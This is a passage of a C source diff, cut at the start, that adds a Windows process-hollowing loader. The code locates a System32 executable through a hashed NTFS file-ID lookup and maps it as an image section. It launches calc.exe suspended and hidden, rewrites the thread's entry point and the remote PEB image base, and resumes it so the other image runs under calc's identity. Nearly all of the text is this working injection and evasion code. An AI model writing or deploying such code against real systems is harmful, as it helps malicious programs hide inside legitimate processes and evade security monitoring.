OBJ_CASE_INSENSITIVE, NULL, NULL); + + Status = NtOpenFile(&RootHandle, FILE_READ_DATA, &Attributes, &Io, FILE_SHARE_READ, FILE_OPEN); + if (!NT_SUCCESS(Status)) + InternalSetLastError(RtlNtStatusToDosError(Status)); + + return RootHandle; +} + +HANDLE YarhLoader(ULONG Hash, PWCHAR TargetDirectory) +{ + HANDLE TargetDirectoryHandle = INVALID_HANDLE_VALUE; + LARGE_INTEGER uId = { 0 }; + FILE_ID_DESCRIPTOR FileId = { 0 }; + HANDLE RelativeVolumeHandle = NULL; + HANDLE hFile = INVALID_HANDLE_VALUE; + + TargetDirectoryHandle = SubroutineNtCreateFile(TargetDirectory); + if (TargetDirectoryHandle == INVALID_HANDLE_VALUE) + goto EXIT_ROUTINE; + + if(SubroutineGetNtfsFileId(TargetDirectoryHandle, &uId, Hash) == 0) + goto EXIT_ROUTINE; + + RelativeVolumeHandle = RtlGetVolumeRelativeHandle(); + if (RelativeVolumeHandle == INVALID_HANDLE_VALUE) + goto EXIT_ROUTINE; + + FileId.dwSize = sizeof(FILE_ID_DESCRIPTOR); + FileId.Type = FileIdType; + FileId.FileId.QuadPart = uId.QuadPart; + + hFile = OpenFileById(RelativeVolumeHandle, &FileId, FILE_GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 0); + +EXIT_ROUTINE: + + if (RelativeVolumeHandle) + NtClose(RelativeVolumeHandle); + + if(TargetDirectoryHandle) + NtClose(TargetDirectoryHandle); + + return hFile; +} + +HANDLE SubroutineNtCreateSection(PHANDLE hFile) +{ + NTSTATUS Status = STATUS_SUCCESS; + HANDLE hSection = INVALID_HANDLE_VALUE; + + Status = NtCreateSection(&hSection, SECTION_MAP_READ, NULL, 0, PAGE_READONLY, SEC_IMAGE, hFile); + if (!NT_SUCCESS(Status)) + InternalSetLastError(RtlNtStatusToDosError(Status)); + + return hSection; +} + +PVOID SubroutineNtMapViewOfSection(HANDLE Process, HANDLE hSection) +{ + NTSTATUS Status = STATUS_SUCCESS; + SIZE_T View = 0; + PVOID BaseAddress = NULL; + + Status = NtMapViewOfSection(hSection, Process, &BaseAddress, 0, 0, 0, &View, ViewShare, 0, PAGE_READONLY); + if (!NT_SUCCESS(Status)) + InternalSetLastError(RtlNtStatusToDosError(Status)); + + return BaseAddress; +} + +PBYTE GetNtHeaders(PBYTE Buffer) +{ + PIMAGE_DOS_HEADER Dos; + PIMAGE_NT_HEADERS32 Nt32; + ULONG MaxOffset = 1024; + + Dos = (PIMAGE_DOS_HEADER)Buffer; + if (Dos->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + if ((ULONG)Dos->e_lfanew > MaxOffset) + return NULL; + + Nt32 = (PIMAGE_NT_HEADERS32)(Buffer + Dos->e_lfanew); + if (Nt32->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + return (PBYTE)Nt32; +} + +WORD GetNtHeaderArchitecture(PBYTE Buffer) +{ + PIMAGE_NT_HEADERS32 Nt32 = (PIMAGE_NT_HEADERS32)GetNtHeaders(Buffer); + if (Nt32 == NULL) + return ERROR_FAILURE_NULL_BUFFER; + + return Nt32->OptionalHeader.Magic; +} + +BOOL IsImage64Bit(PBYTE Buffer) +{ + if (GetNtHeaderArchitecture(Buffer) == IMAGE_NT_OPTIONAL_HDR64_MAGIC) + return TRUE; + else + return FALSE; +} + +BOOL RtlInitSystem32File(PWCHAR Buffer, LPCWSTR File, BOOL DosPath) +{ + WCHAR WindowsDirectory[WMAX_PATH] = { 0 }; + WCHAR NtObjectSystem32Directory[WMAX_PATH] = { 0 }; + + if (!RtlGetEnvironmentVariableAltW(L"WINDIR", WindowsDirectory, WMAX_PATH)) + return FALSE; + + StringConcatW(WindowsDirectory, (PWCHAR)L"\\System32\\"); + + if(!DosPath) + if (StringCopyW(Buffer, (PWCHAR)L"\\??\\") == NULL) return FALSE; + + if (StringConcatW(Buffer, WindowsDirectory) == NULL) return FALSE; + + if (File == NULL) + return TRUE; + + if (StringConcatW(Buffer, (PWCHAR)File) == NULL) return FALSE; + + return TRUE; +} + +DWORD RtlGetEntryPointRelativeAddress(PBYTE Buffer) +{ + PIMAGE_NT_HEADERS64 Nt64 = NULL; + PIMAGE_NT_HEADERS32 Nt32 = NULL; + PBYTE AmbiguousNt = GetNtHeaders(Buffer); + if (AmbiguousNt == NULL) + return ERROR_FAILURE_NULL_BUFFER; + + if (GetNtHeaderArchitecture(Buffer) == IMAGE_FILE_MACHINE_AMD64) + { + Nt64 = (PIMAGE_NT_HEADERS64)AmbiguousNt; + return Nt64->OptionalHeader.AddressOfEntryPoint; + } + else + { + Nt32 = (PIMAGE_NT_HEADERS32)AmbiguousNt; + return (ULONGLONG)Nt32->OptionalHeader.AddressOfEntryPoint; + } +} + +BOOL ModifyRemoteEntryPoint64(PPROCESS_INFORMATION Pi, ULONGLONG EntryPointVirtualAddress) +{ + NTSTATUS Status = STATUS_SUCCESS; + CONTEXT Context = { 0 }; + RtlSecureZeroMemory(&Context, sizeof(CONTEXT)); + Context.ContextFlags = CONTEXT_INTEGER; + + Status = NtGetContextThread(Pi->hThread, &Context); + if(!NT_SUCCESS(Status)) + return FALSE; + + Context.Rcx = EntryPointVirtualAddress; + + Status = NtSetContextThread(Pi->hThread, &Context); + if (!NT_SUCCESS(Status)) + return FALSE; + else + return TRUE; +} + +BOOL ModifyRemoteEntryPoint32(PPROCESS_INFORMATION Pi, ULONGLONG EntryPointVirtualAddress) +{ + NTSTATUS Status = STATUS_SUCCESS; + ULONG uReturn = 0; + WOW64_CONTEXT Context = { 0 }; + RtlSecureZeroMemory(&Context, sizeof(WOW64_CONTEXT)); + Context.ContextFlags = CONTEXT_INTEGER; + BOOL bFlag = FALSE; + + Status = NtQueryInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT), &uReturn); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + Context.Eax = (DWORD)EntryPointVirtualAddress; + + Status = NtSetInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT)); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if(!bFlag) + InternalSetLastError(RtlNtStatusToDosError(Status)); + + return bFlag; +} + +ULONGLONG RtlGetRemotePeb64(PPROCESS_INFORMATION Pi) +{ + NTSTATUS Status = STATUS_SUCCESS; + CONTEXT Context = { 0 }; + RtlSecureZeroMemory(&Context, sizeof(CONTEXT)); + Context.ContextFlags = CONTEXT_INTEGER; + + Status = NtGetContextThread(Pi->hThread, &Context); + if(!NT_SUCCESS(Status)) + return ERROR_FAILURE_NULL_BUFFER; + + return Context.Rdx; +} + +ULONGLONG RtlGetRemotePeb32(PPROCESS_INFORMATION Pi) +{ + NTSTATUS Status = STATUS_SUCCESS; + ULONG uReturn = 0; + WOW64_CONTEXT Context = { 0 }; + RtlSecureZeroMemory(&Context, sizeof(WOW64_CONTEXT)); + Context.ContextFlags = CONTEXT_INTEGER; + + Status = NtQueryInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT), &uReturn); + if (!NT_SUCCESS(Status)) + return ERROR_FAILURE_NULL_BUFFER; + else + return (ULONGLONG)Context.Ebx; +} + +ULONGLONG SubroutineGetImagePebOffset(BOOL Is32bit) +{ + if (Is32bit) + return sizeof(DWORD) * 2; + + return sizeof(ULONGLONG) * 2; +} + +BOOL HollowProcessInternal(PBYTE Image, PVOID Base, PPROCESS_INFORMATION Pi, BOOL Is32Bit) +{ + DWORD EntryPoint = 0; + ULONGLONG EntryPointVirtualAddress = 0; + ULONGLONG RemotePeb = 0; + LPVOID RemoteImageBase = NULL; + SIZE_T ImageSize = 0; + NTSTATUS Status = STATUS_SUCCESS; + + EntryPoint = RtlGetEntryPointRelativeAddress(Image); + EntryPointVirtualAddress = (ULONGLONG)(Image + EntryPoint); + + if (Is32Bit){ + if (!ModifyRemoteEntryPoint32(Pi, EntryPointVirtualAddress)) + return FALSE; + + RemotePeb = RtlGetRemotePeb32(Pi); + if (RemotePeb == 0) + return FALSE; + } + else{ + if (!ModifyRemoteEntryPoint64(Pi, EntryPointVirtualAddress)) + return FALSE; + + RemotePeb = RtlGetRemotePeb64(Pi); + if (RemotePeb == 0) + return FALSE; + } + + RemoteImageBase = (LPVOID)(RemotePeb + SubroutineGetImagePebOffset(Is32Bit)); + + if (Is32Bit) + ImageSize = sizeof(DWORD); + else + ImageSize = sizeof(ULONGLONG); + + Status = NtWriteVirtualMemory(Pi->hProcess, RemoteImageBase, &Base, ImageSize, NULL); + if (!NT_SUCCESS(Status)) + { + InternalSetLastError(RtlNtStatusToDosError(Status)); + return FALSE; + } + + return TRUE; +} + +BOOL RtlHollowProcess64(HANDLE hSection, PBYTE Mapped, PWCHAR Target) +{ + PROCESS_INFORMATION Pi = { 0 }; + STARTUPINFOW Si = { 0 }; + HANDLE Process = INVALID_HANDLE_VALUE; + PVOID RemoteBaseAddress = NULL; + BOOL bFlag = TRUE; + + Si.cb = sizeof(STARTUPINFOW); + + if (!CreateProcessW(Target, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &Si, &Pi)) + return FALSE; + + Process = Pi.hProcess; + RemoteBaseAddress = SubroutineNtMapViewOfSection(Process, hSection); + if (RemoteBaseAddress == NULL) + return FALSE; + + if (IsImage64Bit(Mapped)) + bFlag = FALSE; + + if(!HollowProcessInternal(Mapped, RemoteBaseAddress, &Pi, bFlag)) + return FALSE; + + NtResumeThread(Pi.hThread, NULL); + + return TRUE; +} + +INT wmain(VOID) +{ + WCHAR NtObjectSystem32Directory[WMAX_PATH] = { 0 }; + WCHAR NtCalcPath[WMAX_PATH] = { 0 }; + DWORD dwError = ERROR_SUCCESS; + BOOL bFlag = FALSE; + HANDLE hFile = INVALID_HANDLE_VALUE; + HANDLE hSection = INVALID_HANDLE_VALUE; + PVOID MappedBinary = NULL; + + if (!RtlInitGlobalApplicationData()) + goto EXIT_ROUTINE; + + if (!RtlInitSystem32File(NtObjectSystem32Directory, NULL, FALSE)) + goto EXIT_ROUTINE; + + //0x6257d638 Dispose.exe + //0xbb309ae5 cmd.exe + hFile = YarhLoader(0x6257d638, NtObjectSystem32Directory); + if (hFile == INVALID_HANDLE_VALUE) + goto EXIT_ROUTINE; + + hSection = SubroutineNtCreateSection(hFile); + if (hSection == NULL) + goto EXIT_ROUTINE; + + MappedBinary = SubroutineNtMapViewOfSection(GetCurrentProcess(), hSection); + if (MappedBinary == NULL) + goto EXIT_ROUTINE; + + if (!IsImage64Bit(MappedBinary)) + goto EXIT_ROUTINE; + + if (!RtlInitSystem32File(NtCalcPath, L"calc.exe", TRUE)) + goto EXIT_ROUTINE; + + if (!RtlHollowProcess64(hSection, (PBYTE)MappedBinary, NtCalcPath)) + goto EXIT_ROUTINE; + + bFlag = TRUE; + + system("PAUSE"); + +EXIT_ROUTINE: + + if (!bFlag) + dwError = InternalGetLastError(); + + if (MappedBinary) + NtUnmapViewOfSection(hSection, MappedBinary); + + if (hSection) + NtClose(hSection); + + if (hFile) + NtClose(hFile); + + return dwError; +} \ No newline at end of file